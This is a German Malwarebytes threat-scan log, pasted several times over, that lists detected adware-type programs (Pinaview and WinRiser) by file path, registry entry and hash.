PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe.config, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 3C5D9C69C66E2C42C6F80D9F0B29C638, 63D9B0F13E74131A18F60876405CB987A174C2993FAEAD18262A1F57D807F9C5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\SharpRaven.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C1A31AB7394444FD8AA2E8FE3C7C5094, 64B7231EDA298844697D38DD3539BD97FE995D88AE0C5E0C09D63A908F7336C4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.dat, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , F61BD5472A8702166D4A61C107395B4E, BF7AC766F45E1D1D74C3F666086E750989689E9AF97B565D1A676C3CA29D1922
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C8AFAA7A183B033CDF007E1175DCF4B9, 3E91ED68E2E04F81498B2F29167A5B3531EB38D47BB7214EB676E7EBC4383100
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.msg, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 313D0CC5D1A64D2565E35937991775A6, 5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 17.01.2025
Scan-Zeit: 20:33
Protokolldatei: e6f50878-d509-11ef-a964-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94594
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 144545
Erkannte Bedrohungen: 34
In die Quarantäne verschobene Bedrohungen: 0
Abgelaufene Zeit: 1 Min., 25 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Modul: 4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Registrierungsschlüssel: 4
PUP.Optional.WinRiser, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137250, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137247, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{84397963-BE19-41C0-96B5-A99788C74F2A}_is1, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungswert: 2
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1|DISPLAYNAME, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|Pinaview, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137236, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\PROGRAMDATA\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\USERS\WIGLA\APPDATA\ROAMING\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\PINAVIEW, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\LOCAL\PROGRAMS\PINAVIEW, whitelisted, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Datei: 16
PUP.Optional.WinRiser, C:\USERS\PUBLIC\DESKTOP\WIN RISER.LNK, Keine Aktion durch Benutzer, 7533, 1137238, 1.0.94594, , ame, , B12CB4018ACEDB054676001DD286FE5D, 64A0BF865A8CDF281ACCF3E638DE9F164733334654624C10C220F211640BC0B8
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pinaview\Pinaview.lnk, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , 412031CBBDC2364DCA8AEDE33CBB63C2, 8EE4EC0566A7EB37391756BAEC3152CDB6A6F2D81FBEA2083E8A92C58A45B586
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\device.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8A6DDB82B606B38A4913B6BA2B974627, FFE92BDDF946A05790138BAD813E004F85E7CCA1A7F99D7F0AF14EB6608385F5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\storedRequests.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8DF29D0CC796A27B98234E4B51714009, 3506C5576AF28BD30CC94EADC778032E034E08A2975390DC15D224C1D0A875CB
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\AsyncBridge.Net35.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 35CBDBE6987B9951D3467DDA2F318F3C, E4915F18FD6713EE84F27A06ED1F6F555CDBEBE1522792CF4B4961664550CF83
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Countly.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 9B55E3B45422890DE9353BBF8D2C8AAE, 972937C36B832A09F37CE6386104235B77D4F2F076BC032E2DE70A1265705CB2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Gh.Common.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 94140FBEF9B808F45AFF16B861A4ED13, 83906CD627517E8CB3393618DEFE7D8BB28576C0C951309C4B99FEC122491308
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe.config, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 3C5D9C69C66E2C42C6F80D9F0B29C638, 63D9B0F13E74131A18F60876405CB987A174C2993FAEAD18262A1F57D807F9C5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\SharpRaven.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C1A31AB7394444FD8AA2E8FE3C7C5094, 64B7231EDA298844697D38DD3539BD97FE995D88AE0C5E0C09D63A908F7336C4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.dat, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , F61BD5472A8702166D4A61C107395B4E, BF7AC766F45E1D1D74C3F666086E750989689E9AF97B565D1A676C3CA29D1922
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C8AFAA7A183B033CDF007E1175DCF4B9, 3E91ED68E2E04F81498B2F29167A5B3531EB38D47BB7214EB676E7EBC4383100
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.msg, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 313D0CC5D1A64D2565E35937991775A6, 5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 17.01.2025
Scan-Zeit: 20:33
Protokolldatei: e6f50878-d509-11ef-a964-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94594
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 144545
Erkannte Bedrohungen: 34
In die Quarantäne verschobene Bedrohungen: 0
Abgelaufene Zeit: 1 Min., 25 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Modul: 4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Registrierungsschlüssel: 4
PUP.Optional.WinRiser, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137250, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137247, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{84397963-BE19-41C0-96B5-A99788C74F2A}_is1, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungswert: 2
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1|DISPLAYNAME, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|Pinaview, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137236, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\PROGRAMDATA\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\USERS\WIGLA\APPDATA\ROAMING\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\PINAVIEW, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\LOCAL\PROGRAMS\PINAVIEW, whitelisted, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Datei: 16
PUP.Optional.WinRiser, C:\USERS\PUBLIC\DESKTOP\WIN RISER.LNK, Keine Aktion durch Benutzer, 7533, 1137238, 1.0.94594, , ame, , B12CB4018ACEDB054676001DD286FE5D, 64A0BF865A8CDF281ACCF3E638DE9F164733334654624C10C220F211640BC0B8
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pinaview\Pinaview.lnk, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , 412031CBBDC2364DCA8AEDE33CBB63C2, 8EE4EC0566A7EB37391756BAEC3152CDB6A6F2D81FBEA2083E8A92C58A45B586
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\device.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8A6DDB82B606B38A4913B6BA2B974627, FFE92BDDF946A05790138BAD813E004F85E7CCA1A7F99D7F0AF14EB6608385F5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\storedRequests.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8DF29D0CC796A27B98234E4B51714009, 3506C5576AF28BD30CC94EADC778032E034E08A2975390DC15D224C1D0A875CB
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\AsyncBridge.Net35.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 35CBDBE6987B9951D3467DDA2F318F3C, E4915F18FD6713EE84F27A06ED1F6F555CDBEBE1522792CF4B4961664550CF83
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Countly.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 9B55E3B45422890DE9353BBF8D2C8AAE, 972937C36B832A09F37CE6386104235B77D4F2F076BC032E2DE70A1265705CB2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Gh.Common.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 94140FBEF9B808F45AFF16B861A4ED13, 83906CD627517E8CB3393618DEFE7D8BB28576C0C951309C4B99FEC122491308
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe.config, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 3C5D9C69C66E2C42C6F80D9F0B29C638, 63D9B0F13E74131A18F60876405CB987A174C2993FAEAD18262A1F57D807F9C5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\SharpRaven.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C1A31AB7394444FD8AA2E8FE3C7C5094, 64B7231EDA298844697D38DD3539BD97FE995D88AE0C5E0C09D63A908F7336C4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.dat, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , F61BD5472A8702166D4A61C107395B4E, BF7AC766F45E1D1D74C3F666086E750989689E9AF97B565D1A676C3CA29D1922
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C8AFAA7A183B033CDF007E1175DCF4B9, 3E91ED68E2E04F81498B2F29167A5B3531EB38D47BB7214EB676E7EBC4383100
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.msg, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 313D0CC5D1A64D2565E35937991775A6, 5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 17.01.2025
Scan-Zeit: 20:33
Protokolldatei: e6f50878-d509-11ef-a964-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94594
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 144545
Erkannte Bedrohungen: 34
In die Quarantäne verschobene Bedrohungen: 0
Abgelaufene Zeit: 1 Min., 25 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Modul: 4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Registrierungsschlüssel: 4
PUP.Optional.WinRiser, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137250, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137247, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{84397963-BE19-41C0-96B5-A99788C74F2A}_is1, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungswert: 2
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1|DISPLAYNAME, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|Pinaview, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137236, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\PROGRAMDATA\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\USERS\WIGLA\APPDATA\ROAMING\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\PINAVIEW, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\LOCAL\PROGRAMS\PINAVIEW, whitelisted, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Datei: 16
